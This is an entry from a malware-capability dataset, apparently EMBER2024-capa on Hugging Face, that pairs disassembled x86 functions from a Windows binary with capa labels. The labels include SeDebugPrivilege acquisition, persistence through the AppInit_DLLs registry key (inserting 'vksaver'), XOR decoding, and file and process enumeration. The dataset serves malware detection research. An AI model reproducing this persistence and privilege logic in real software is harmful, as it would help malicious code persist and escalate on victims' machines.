joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402faa
Capabilities:
Enumerate files on windows

Disassembly:
push 0x180
mov eax, 0x457197
call fcn.00456afc
mov esi, ecx
mov dword [ebp - 0x188], esi
xor ecx, ecx
mov dword [ebp - 0x18c], esi
mov dword [ebp - 0x184], ecx
xor eax, eax
inc eax
mov dword [ebp - 4], eax
mov dword [esi], ecx
mov dword [esi + 4], ecx
mov dword [esi + 8], ecx
push 0x464174
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x184], eax
call fcn.004047cc
pop ecx
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x180]
cmp dword [ebp - 0x2c], 0xf
lea eax, [ebp - 0x40]
push ecx
cmova eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4030ba
test byte [ebp - 0x180], 0x10
je 0x40309d
lea eax, [ebp - 0x154]
push eax
lea ecx, [ebp - 0x28]
call fcn.0040418a
mov byte [ebp - 4], 3
mov ecx, dword [ebp + 0x2c]
test ecx, ecx
je 0x4030d2
mov eax, dword [ecx]
lea edx, [ebp - 0x28]
push edx
mov eax, dword [eax + 8]
call eax
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 2
mov bl, al
call fcn.00404106
test bl, bl
je 0x40309d
lea eax, [ebp - 0x154]
push eax
lea ecx, [ebp - 0x28]
call fcn.0040418a
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x28]
mov eax, dword [esi + 4]
push ecx
cmp eax, dword [esi + 8]
je 0x403089
mov ecx, eax
call fcn.00404163
add dword [esi + 4], 0x18
jmp 0x403091
push eax
mov ecx, esi
call fcn.00405490
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 2
call fcn.00404106
lea eax, [ebp - 0x180]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403019
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x40]
call fcn.00404106
lea ecx, [ebp + 8]
call fcn.00403e6b
mov eax, esi
call fcn.00456aba
ret
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
Function at 0x4030d9
Capabilities:
Enumerate processes

Disassembly:
push 0x2d4
mov eax, 0x4571fe
call fcn.00456afc
mov edi, edx
mov dword [ebp - 0x2d4], edi
mov ebx, ecx
mov dword [ebp - 0x2c8], ebx
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x2e0], ebx
mov dword [ebp - 0x2cc], ecx
push 0x8c
mov dword [ebp - 0x2d0], eax
mov dword [ebx], ecx
mov dword [ebx + 4], ecx
call fcn.0045550f
pop ecx
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [ebx], eax
and dword [ebp - 4], 0
push 0
push 2
mov dword [ebp - 0x2cc], 1
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x2bc]
push 0x228
push 0
push eax
mov dword [ebp - 0x2c8], esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x2c0], 0x22c
lea eax, [ebp - 0x2c0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x403293
mov edi, dword [edi]
mov esi, dword [edi]
jmp 0x4031af
lea eax, [esi + 8]
mov dword [ebp - 0x2c4], eax
add eax, 0x64
cmp dword [eax + 0x14], 7
jbe 0x403199
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
je 0x4031b8
mov esi, dword [esi]
cmp esi, edi
jne 0x403185
jmp 0x403265
mov eax, dword [ebp - 0x2b8]
lea ecx, [ebp - 0x90]
mov edi, dword [ebp - 0x2c4]
push edi
mov dword [ebp - 0x94], eax
call fcn.00401839
mov dword [ebp - 4], 1
cmp dword [ebx + 4], 0x1d41d41
mov eax, dword [ebx]
mov dword [ebp - 0x2c4], eax
je 0x403288
mov dword [ebp - 0x2dc], ebx
mov byte [ebp - 4], 2
and dword [ebp - 0x2d8], 0
push 0x8c
call fcn.0045550f
mov esi, eax
mov eax, dword [ebp - 0x94]
pop ecx
mov dword [ebp - 0x2d8], esi
mov dword [esi + 8], eax
lea ecx, [esi + 0xc]
lea eax, [ebp - 0x90]
push eax
call fcn.00401839
mov ecx, dword [ebp - 0x2c4]
inc dword [ebx + 4]
and dword [ebp - 0x2d8], 0
mov eax, dword [ecx + 4]
mov dword [esi], ecx
mov dword [esi + 4], eax
mov dword [ecx + 4], esi
lea ecx, [ebp - 0x90]
mov dword [eax], esi
mov byte [ebp - 4], 0
call fcn.0040180e
mov ecx, dword [ebp - 0x2d0]
mov eax, dword [edi + 0x7c]
or dword [ecx], eax
mov esi, dword [ebp - 0x2c8]
lea eax, [ebp - 0x2c0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x403293
mov edi, dword [ebp - 0x2d4]
jmp 0x40317f
push str.list_too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
call fcn.00456aba
ret
Function at 0x4037a4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x4037c7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
jmp 0x403887
mov eax, dword [ebx + 0x20]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], eax
test ecx, ecx
je 0x4037ed
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x4037f2
xor ecx, ecx
mov dword [ebp - 8], eax
mov eax, ecx
cdq
mov dword [ebp + 0x10], eax
mov ecx, edx
mov dword [ebp - 4], ecx
test edi, edi
jl 0x403853
jg 0x403807
test esi, esi
je 0x403853
test ecx, ecx
jl 0x40384e
jg 0x403811
test eax, eax
je 0x40384e
cmp edi, ecx
jg 0x403823
jl 0x40381b
cmp esi, eax
jae 0x403823
mov eax, esi
mov dword [ebp + 0x10], esi
mov dword [ebp - 4], edi
push eax
push dword [ebp + 8]
push dword [ebp - 0xc]
call dword [sym.imp.VCRUNTIME140.dll_memcpy]
mov eax, dword [ebp - 8]
add esp, 0xc
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [ebp - 4]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x403856
mov ecx, dword [ebp + 8]
jmp 0x403860
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x40387b
jg 0x403860
test esi, esi
je 0x40387b
cmp dword [ebx + 0x4c], 0
je 0x40387b
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40388c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
mov dword [ebp - 4], ecx
test esi, esi
jg 0x4038ae
jl 0x4038a5
test ebx, ebx
jne 0x4038ae
xor eax, eax
xor edx, edx
jmp 0x403977
cmp dword [ecx + 0x38], 0
je 0x4038c4
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
jmp 0x403977
mov eax, dword [ecx + 0x1c]
push edi
mov edi, ebx
mov edx, dword [eax]
test edx, edx
je 0x403909
mov eax, dword [ecx + 0x2c]
cmp dword [eax], 0
jbe 0x403909
cmp dword [eax], ebx
mov esi, ebx
mov edi, dword [ebp + 8]
cmovb esi, dword [eax]
push esi
push edx
push edi
call dword [sym.imp.VCRUNTIME140.dll_memcpy]
mov ecx, dword [ebp - 4]
add edi, esi
mov dword [ebp + 8], edi
add esp, 0xc
mov edi, ebx
sub edi, esi
mov eax, dword [ecx + 0x2c]
sub dword [eax], esi
mov eax, dword [ecx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0x10]
jmp 0x40390f
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
cmp dword [ecx + 0x4c], 0
je 0x40396d
call fcn.0040429e
mov edx, dword [ebp + 8]
mov eax, edi
cmp edi, 0xfff
jbe 0x403957
push dword [ecx + 0x4c]
push 0xfff
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov edx, dword [ebp + 8]
mov ecx, 0xfff
add edx, eax
add esp, 0x10
sub edi, eax
mov dword [ebp + 8], edx
cmp eax, ecx
jne 0x40396d
cmp edi, ecx
mov ecx, dword [ebp - 4]
ja 0x403927
mov eax, edi
test eax, eax
je 0x40396d
push dword [ecx + 0x4c]
push edi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
sub edi, eax
sub ebx, edi
mov eax, ebx
sbb esi, 0
mov edx, esi
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x403bee
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x657340]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
or edi, 0xffffffff
mov esi, ecx
cmp ebx, edi
jne 0x403c14
xor eax, eax
jmp 0x403cd9
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x403c3d
mov edx, dword [esi + 0x30]
mov eax, dword [edx]
add eax, ecx
cmp ecx, eax
jae 0x403c3d
dec dword [edx]
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
mov eax, ebx
jmp 0x403cd9
cmp dword [esi + 0x4c], 0
je 0x403cd7
mov ecx, esi
call fcn.0040429e
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x403c6b
movsx eax, bl
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
cmp eax, edi
pop ecx
pop ecx
cmove ebx, edi
jmp 0x403c36
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x403ca6
sub eax, 1
je 0x403ca6
dec eax
sub eax, 1
jne 0x403cd7
movsx eax, byte [ebp - 0x25]
jmp 0x403c58
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x30], eax
je 0x403cca
push dword [esi + 0x4c]
push eax
mov eax, ecx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x30], eax
jne 0x403cd7
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x34], eax
cmovne edi, ebx
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004554d0
leave
ret 4

Function at 0x4042ee
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x657340]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi + 0x38], ebx
je 0x404346
cmp byte [esi + 0x3d], bl
je 0x404346
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x404380
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, ebx
je 0x404357
sub eax, 1
je 0x40435a
dec eax
sub eax, 1
jne 0x404380
mov byte [esi + 0x3d], bl
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004554d0
leave
ret
mov byte [esi + 0x3d], bl
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x404378
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x404380
cmp byte [esi + 0x3d], bl
sete al
jmp 0x404348
xor al, al
jmp 0x404348
Function at 0x405fc9
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x657340]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40602c
lea eax, [ebp - 0x10]
xor esi, esi
push eax
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push esi
push esi
push esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 1
push eax
push esi
push dword [ebp - 0x18]
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004554d0
leave
ret

Function at 0x40603a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x657340]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push eax
lea eax, [ebp - 0x204]
mov edi, edx
push eax
mov esi, ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy]
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
add esp, 0xc
lea eax, [eax*2 + 2]
lea ecx, [eax + eax]
cmp ecx, 0x200
jae 0x4060b1
push eax
lea eax, [ebp - 0x204]
xor edx, edx
push eax
push 1
push edx
push edi
push esi
mov word [ebp + ecx - 0x204], dx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004554d0
leave
ret
call fcn.004558b3
int3
Function at 0x4068ff
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
mov eax, dword [0x657340]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x458]
mov esi, ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x4069fd
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x4069fd
lea eax, [ebp - 0x208]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea ecx, [ebp - 0x208]
call fcn.004068e2
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov eax, dword [ebp - 0x460]
xor eax, dword [ebp - 0x45c]
push eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x408]
push str._s_u.tmp
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [ebp - 0x408]
add esp, 0x10
push 1
push eax
push esi
call edi
test eax, eax
jne 0x4069f0
mov eax, dword [ebp - 0x460]
xor eax, dword [ebp - 0x45c]
push eax
push esi
lea eax, [ebp - 0x208]
push str._s__u.tmp
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x208]
push 1
push eax
push esi
call edi
test eax, eax
jne 0x4069e3
xor al, al
jmp 0x4069ff
push 4
push 0
lea ecx, [ebp - 0x208]
push ecx
jmp 0x4069fb
push 4
push 0
lea eax, [ebp - 0x408]
push eax
call edi
mov al, 1
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004554d0
leave
ret

Function at 0x406a0d
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
xor ebx, ebx
mov dword [ebp - 4], edx
push ebx
push ebx
push 3
push ebx
push 3
push accept
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x406a37
xor al, al
jmp 0x406a9f
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, dword [ebp + 8]
cmp eax, ebx
je 0x406a4f
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x406a33
push esi
push ebx
push 8
push dword [0x678850]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
mov esi, eax
lea eax, [ebp - 8]
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push dword [ebp - 4]
push esi
call dword [sym.imp.VCRUNTIME140.dll_memcmp]
add esp, 0xc
mov ebx, eax
neg ebx
sbb bl, bl
push esi
push 0
push dword [0x678850]
inc bl
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, bl
pop esi
pop edi
pop ebx
leave
ret
Function at 0x406aa3
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push dword [ebp + 8]
mov edi, edx
mov esi, ecx
call fcn.00406a0d
pop ecx
cmp al, 1
jne 0x406abe
mov al, 1
jmp 0x406b00
mov ecx, esi
call fcn.004068ff
test al, al
je 0x406afe
xor ebx, ebx
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x406afe
push ebx
lea ecx, [ebp + 8]
push ecx
push dword [ebp + 8]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x406aba
xor al, al
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x406cce
Capabilities:
Persist via appinit_dlls registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa1c
mov eax, dword [0x657340]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0xa0c]
xor esi, esi
push eax
push 3
pop ebx
push ebx
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push reloc.WS2_32.dll_bind
mov edi, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x406d10
xor eax, eax
inc eax
jmp 0x406e91
mov eax, 0x400
push eax
mov dword [ebp - 0xa10], eax
lea eax, [ebp - 0xa08]
push esi
mov esi, dword [sym.imp.VCRUNTIME140.dll_memset]
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x608]
push 0x400
push 0
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0xa10]
push eax
lea eax, [ebp - 0xa08]
push eax
xor eax, eax
push eax
push eax
push str.AppInit_DLLs
push dword [ebp - 0xa0c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x406d71
push 2
pop ebx
jmp 0x406e70
cmp word [ebp - 0xa08], 0
je 0x406e80
lea eax, [ebp - 0xa08]
lea ecx, [ebp - 0x208]
push ecx
mov ecx, eax
call fcn.00406c3b
push str.vksaver
mov dword [ebp - 0xa18], eax
lea esi, [ebp - 0x208]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
cmp word [ebp - 0x208], 0
pop ecx
mov dword [ebp - 0xa14], eax
je 0x406de5
push eax
push str.vksaver
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
add esp, 0xc
test eax, eax
je 0x406de1
add esi, 2
xor eax, eax
cmp word [esi], ax
mov eax, dword [ebp - 0xa14]
jne 0x406dbb
jmp 0x406de5
test esi, esi
jne 0x406e25
cmp word [ebp - 0x608], 0
je 0x406e09
push 0x464128
lea eax, [ebp - 0x608]
push 0x200
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x608]
push 0x200
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
add esp, 0xc
mov eax, dword [ebp - 0xa18]
test eax, eax
jne 0x406d85
lea eax, [ebp - 0x608]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
pop ecx
lea eax, [eax*2 + 2]
push eax
mov dword [ebp - 0xa10], eax
lea eax, [ebp - 0x608]
push eax
push 1
xor eax, eax
push eax
push str.AppInit_DLLs
push dword [ebp - 0xa0c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x406e80
push dword [ebp - 0xa0c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x406e91
cmp dword [edi + 0x14], 7
jbe 0x406e88
mov edi, dword [edi]
mov ecx, edi
call fcn.004068ff
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004554d0
leave
ret
Function at 0x406ea0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x657340]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 0x8c], 0x67452301
push edi
push dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0x98], ebx
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], esi
mov dword [ebp - 0x88], 0xefcdab89
mov dword [ebp - 0x84], 0x98badcfe
mov dword [ebp - 0x80], 0x10325476
call fcn.00407d4b
pop ecx
lea ecx, [ebp - 0x94]
call fcn.00407de9
lea edi, [ebp - 0x2c]
movzx eax, byte [ebp + esi - 0x3c]
push eax
push str._02x
push edi
call fcn.00407b78
add esp, 0xc
add edi, 2
inc esi
cmp esi, 0x10
jl 0x406f14
lea eax, [ebp - 0x2c]
mov ecx, ebx
push eax
call fcn.0040418a
mov ecx, dword [ebp - 8]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004554d0
leave
ret

Function at 0x408dd8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x10
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [eax], ebx
push edi
mov edi, edx
test esi, esi
je 0x408eb8
push edi
push 1
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov edx, eax
mov dword [ebp - 4], edx
pop ecx
pop ecx
test edx, edx
je 0x408eb8
cmp byte [esi], bl
jne 0x408e5c
cmp byte [esi + 1], bl
jne 0x408e5c
mov al, byte [esi + 2]
test al, al
je 0x408e5c
mov cl, byte [esi + 3]
test cl, cl
je 0x408e5c
movzx eax, al
mov dword [ebp - 8], eax
movzx eax, cl
push 4
mov dword [ebp - 0xc], eax
pop eax
cmp edi, eax
jbe 0x408e58
mov ecx, eax
mov al, byte [eax + esi]
mov byte [edx + ebx], al
inc ebx
xor edx, edx
mov eax, ebx
div dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, ecx
test edx, edx
mov edx, dword [ebp - 4]
cmovne eax, ecx
inc eax
cmp eax, edi
jb 0x408e36
mov edi, ebx
mov esi, edx
lea eax, [edi + 4]
push eax
push 1
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov ebx, eax
mov dword [ebp - 0x10], ebx
pop ecx
pop ecx
test ebx, ebx
je 0x408eb8
mov eax, dword [ebp + 8]
mov ecx, 0x75bcd15
mov dword [eax], edi
test edi, edi
jle 0x408eaa
mov dword [ebp + 8], ebx
sub ebx, esi
dec edi
shr edi, 2
inc edi
mov eax, dword [esi]
xor eax, ecx
push 0xd
push ecx
mov dword [ebx + esi], eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll__lrotl]
lea esi, [esi + 4]
pop ecx
pop ecx
mov ecx, eax
sub edi, 1
jne 0x408e8b
mov ebx, dword [ebp - 0x10]
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov eax, ebx
jmp 0x408eba
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408ee7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
push edi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
inc eax
push eax
push 2
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov esi, eax
push edi
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy]
add esp, 0x14
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push esi
push 0x408ebf
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
leave
ret